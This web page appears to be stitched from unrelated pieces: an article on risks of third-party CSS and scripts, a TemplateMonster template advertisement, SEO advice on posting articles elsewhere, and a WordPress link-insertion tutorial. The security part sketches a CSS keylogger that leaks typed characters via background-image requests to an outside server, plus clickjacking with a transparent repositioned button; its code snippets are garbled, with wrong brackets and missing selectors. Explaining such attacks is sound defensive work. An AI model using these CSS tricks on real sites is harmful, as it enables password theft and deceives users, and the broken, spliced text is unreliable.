Third party resources. WordPress

We'll tell you how you can harm your website by using third-party CSS, JavaScript and other resources from other people's servers.

At the end of February, a keylogger partially using CSS appeared on the Internet. The attack using it is simple: for each character entered into a field with a certain type (for example, password), a request is generated to a third-party server, allegedly requesting a background image:

input ( background-image: url("http://localhost:3000/a"); )

On the server, the sequence of requests can be registered and the entered password can be easily calculated.

During the discussion of the problem, some suggested that browser manufacturers work on a fix. Someone noticed that the problem is relevant only for sites using React-like frameworks, and shifted the blame onto them.

If you add this kind of image to your site, you will become dependent on example.com. They can trick you in different ways, for example, by deleting a picture - you will get a 404 instead of an image. Or they can simply replace the image of the cat with something less pleasant.

You can warn your users that the image was added from a third-party resource and you have no connection with it. This way you will protect yourself a little from trouble. But of course, adding a simple picture doesn't give you access to your passwords.

This example is much more interesting for example.com, because by adding a script from their site you give them much more control over theirs. In this case example.com can:

• Read/change page content.
• Track every user action.
• Run code that is difficult to compute (for example, a cryptominer).
• Request cookies.
• Read/modify local storage.

In other words, example.com can do a lot of things now.

Interacting with local storage brings even more problems in the future. The third-party resource will have access to your site even after the script is removed from the page. If you add a third-party script to a site, you must absolutely trust the source and its security.

If you still encounter a bad script, try using Clear-Site-Data header.

Third-party CSS code in terms of impact on the site is located between the image and the script. Alien CSS can:

• Delete/change/add content on the page.
• Make queries based on page content.
• React to many user actions.

CSS will not be able to interact with local storage and the cryptominer will not embed it on the page, but it can cause a lot of harm to the resource owner.

Let's slightly modify the CSS from the beginning of the article:

input ( background-image: url("/password?a"); )

This code will send data about the entered character “a” to the handler under the guise of a picture request. Repeat the code for each character and now you have a CSS keylogger.

By default, browsers don't store user-supplied characters in the value attribute, so this trick will work if you use something that syncs values ​​like this, like .

Of course, this problem can be solved on the side of React and similar frameworks. But then only a specific case will be solved, and other problems will remain.

body ( display: none; ) html::after ( content: "HTTP Server Server Error"; )

This is, of course, a very peculiar example, but still a working one. Imagine if your users, when entering the site, see an incomprehensible error instead of the usual main page. In the same way, third-party code can remove, for example, the “buy” button or do some other trouble.

Price-value::before ( content: "1"; )

And just like that, your prices skyrocketed.

Delete-everything-button ( opacity: 0; position: absolute; top: 500px; left: 300px; )

Take a button that does something terrible and that the user just won't click, make it transparent and place it in a place where the user is sure to click.

Of course, if the button does something really important, the user will see a warning dialog first. But this is not a problem: it just needs more CSS. For example, you could change the content of a button from “Oh my God, no!” to “Of course, I'm sure.”

Imagine if browser makers fixed the keylogger trick. Attackers simply place an extra text field on top of an important password field and they are back to business.

The value and other attributes do not necessarily store passwords: an attacker may find something else interesting.

< / div >

All this data can be collected with CSS selectors and sent wherever it should be.

Any website owner wants to have a beautiful design! So, the question arises, how to get a high-quality design for a web resource, quickly and at an affordable price?

What are third party resources? It will not be news to anyone that to create a website, if you yourself don’t know where to start, you will need a developer and designer. When involving these masters in your work, you should be prepared for the fact that everything will not work out quickly.

Each specialist has his own vision and each has his own understanding of what “right” is. Therefore, be prepared to defend your opinion. All such disputes and alterations take a lot of time, effort and money, since the services of developers and designers are not cheap.

Considering the above, the question arises: “Why involve third-party resources to create a website?” Oddly enough, there are certain advantages. Firstly, such cooperation allows you to create not only a beautiful design for the site, but also a completely unique one. Secondly, you can implement the layout for your web resource that you have always dreamed of, even the most complex one filled with all sorts of sections and menus of varying complexity.

Templates are ready-made designs that you can use to create a website. If you want to create a website to work on a specific CMS, then you can choose a template that is designed specifically for this platform.

What are the benefits of using templates? Having looked at the screenshots above, or more precisely the price of the proposed layouts from the TemplateMonster company, we can definitely say that the pricing policy for templates is very loyal.

For little money you get not only a beautiful design, but also modern functionality. In addition, all templates are customizable, so even if something in the layout design does not suit you, you can change or delete it. Thanks to the user-friendly interface of the admin panel, you can easily navigate the available settings without requiring outside help, which will significantly save time and budget.

Most templates are responsive, which makes it possible to create a functional website that can work on any type of device. Another characteristic that is clearly worth considering when choosing the right template is versatility!

The TemplateMonster team has developed a certain type of templates that can be used for websites of various types, for example, an online store or a blog, as well as for resources on various topics (construction, furniture store, etc.).

And finally, the most important advantage of working with TemplateMonster ready-made layouts is that when you purchase a theme, you get access to free 24/7 technical support. Therefore, if you have questions related to how to install or configure the purchased theme, you can get qualified help!

Beautiful website designs are the first step to success! Users, when opening a website, first visually evaluate the resource, and then look at what information is on it. Therefore, if you want to have a large number of clients, readers or buyers, it is important to be able to attract their attention at first glance, so that they do not leave your site forever. And how to do it? That's right, use a beautiful design for your resource that can interest and arouse the interest of users.

When deciding how to create a website (create from scratch or use a template), it is important to determine the main tasks for the resource, which will allow you to choose the most suitable method. Of course, you can take on developing a web page yourself, especially since you know better than anyone what you need! But, in this case, a certain level of skills and knowledge will be required.

If you don’t have all this, but you really want to create a design for the site yourself, opt for TemplateMonster templates. Here you don’t need any great skills and everything is clear even for a novice user!

The law of PR says: “The more people know about you, the more clients will use the service!” The same goal is inherent in publishing your articles on a third-party resource. Each third party site is:

• New audience and, as a result, potential clients;
• An influx of traffic that exceeds the number of your visitors several times;
• Natural link to your website;
• Possible distribution of your articles (if interesting) on ​​social media. networks.

Forums with a special section (webmasters.ru, maultalk.com)

Filters. A site that provides the opportunity for free posting may be under the AGS. By publishing links to your site in it, you risk losing your rankings or even worse – getting labeled as “Minusinsk”. RDS bar to the rescue.

TIC. Similar to the first option, the selected site may be under “Minusinsk”, in addition, links from sites with 0 TICs are more like “custom” ones.

There are 2 ways to post articles on third-party sites:

• Full copying;
• Announcement.

Let's talk about the effectiveness of each method in more detail.

Quite a popular way of sharing information. The list of sites published just above allows you to post full articles. There is even a special field for a link to the source. Interesting articles quickly gain popularity, are discussed and liked. Everything would be fine, but there is a second side to the coin.

• By posting a full article on a third-party site, you are cutting off the flow of targeted traffic to your resource. After all, why go somewhere else when you can read the article on a third-party resource?
• The fight for superiority in search results. Surely the resources where you post your articles, even indexed ones, are ahead of your site in terms of ranking indicators (Traffic, Tits, Trust). There are many cases on the Internet when a page with a duplicate is ranked higher than the original.
• Uniqueness. Useful materials can be copied even without your help. By publishing a full article, you only increase the number of pages, reducing the uniqueness of your text. As a result, the page may sag in promoted queries.
• Problems with the update. In practice, I came across projects in which, when changing URLs (addresses) of pages, I had to completely rewrite the content. The reason for this is third-party sites with posted materials.

This option involves publishing on a third-party site not the entire article, but a short announcement with a picture. And you can’t get away with it with just a headline. After all, we need to interest the audience enough to get a transition to our resource. The main problem is to make it as interesting as possible. And don’t just copy the first paragraph, but make it unique.

For social networks - the optimal volume of the announcement is 300 characters. The announcement can be written once and published on all sites.

As for portals, the announcement there should be larger, around 1000 characters. The audience of such portals is accustomed to first assessing the “usefulness” and then only making transitions.

Speaking about portals, it is necessary to take into account the requirements for publications. Where the uniqueness of the article is a must, write unique announcements. Where uniqueness is not important, publish what has already been written.

As a result we get:

• User interest in your publications.
• Traffic flow.
• Increase in reference mass.
• Maintaining the uniqueness of your content.

By the way, the announcement will serve as an excellent incentive to write interesting materials, and not just litter the Internet with articles.

Simplify your work with publishing announcements on social media. networks using Open Graph markup. It allows you to write an announcement of the article. As a result, during a normal repost, the title, announcement and picture of the published link will be automatically inserted. You can check the visual display of open graph markup

The easiest way to add links to third-party resources and links between pages and blog posts in WordPress is to use the editor's built-in Insert/Edit Link tool. It’s a little more difficult to insert links to a specific paragraph, point, line inside pages and posts, generated manually in HTML code.

1. Open the page of the third-party site in your browser to which you want to paste the link, and copy the URL from the address bar to the clipboard.

2. Go to the window for editing your post or page, select the text of the future link or place the cursor in the place where the link should be, click on the button on the text editor toolbar with the hint “Insert/edit link”. In previous versions of WordPress, a main window called “Insert/Edit Link” immediately opened. If I’m not mistaken, from version 4.5 it began to open in a minimized form with a field for inserting an address and two buttons: “Apply” and “Link Settings” - this button expands the “Insert/Edit Link” window.

3. In the window that opens for adding a link, paste the address from the clipboard and click on the “Apply” button (and if the link text was not previously selected, click the adjacent “Link Settings” button, as in step 5, to add link text):

Since in the example the link text was highlighted in advance, the link is ready:
Link to third party resource: Cheap flights.
4. To change the URL, add or edit the displayed text, the opening method (in the current or new window), select the link and in the window that appears, click the “Edit” button:

5. A familiar window will open with a field for adding a URL, in which we click the “Link Settings” button to get a expanded window:

6. The main “Insert/Edit Link” window will open:

In this window, you can check the box next to “Open in a new tab”, replace the URL if necessary, and add or change the link text. Since you can insert a link without selecting the text in advance, but by adding it to the “Link Text” field of the “Insert/Edit Link” window, the link will be added to the place where the cursor originally stood. Click the “Update” button.

To insert a link to a page or post on your blog, select the text of the link or place the cursor in the place where the link should be added. Click the button on the “Insert/Edit Link” toolbar. In the window that opens, click the “Link Settings” button, after which the main “Insert/Edit Link” window will open:

From the list in the lower half of the window, select a page or entry, click on it, the URL is inserted automatically, the link text, if not selected in advance, can be manually entered into the appropriate window or pasted from the clipboard by first copying the name of the page or entry directly in the list. If necessary, check the “Open in a new tab” checkbox and, of course, click the “Add link” button. Added link to your blog page:
Link to your blog page: .

To refer to a specific location on a page or post, that location must be marked in some way. To do this, a bookmark or, as it is also called, an anchor is inserted next to it. By the way, on the “Visual” tab this tab will be marked with an anchor figure. As an example, consider inserting links into the table of contents items of this article and inserting bookmarks (anchors) into the names of the corresponding sections to navigate to them from the table of contents.

Bookmarks are inserted in the HTML editor (on the “Text” tab) and consist of the following structure:

Instead of link1, insert the name of the bookmark.

Instead of link1, insert the name of the bookmark to which you want to go via the link, the # symbol (hash, hash) indicates that it is followed by id. The # symbol without id in a link indicates the beginning of the page and is used to return to the top (top).

Now everything is in order:

1. Come up with a name for the bookmark and go to the HTML editor, selecting the “Text” tab.

2. Insert a bookmark into the desired place in the article. I inserted anchors next to the section headings:

If you place text between the opening and closing a tags, it will be colored like a link.
3. Insert links to bookmarks into the table of contents items:

4. Now you can test, including the “Up” link:

Up

5. The full link to the bookmark looks like this: page URL/#link1. You don't need to create it manually; just follow the link to the bookmark and copy the full URL in the address bar. You can use this address to go to a bookmark from other sites.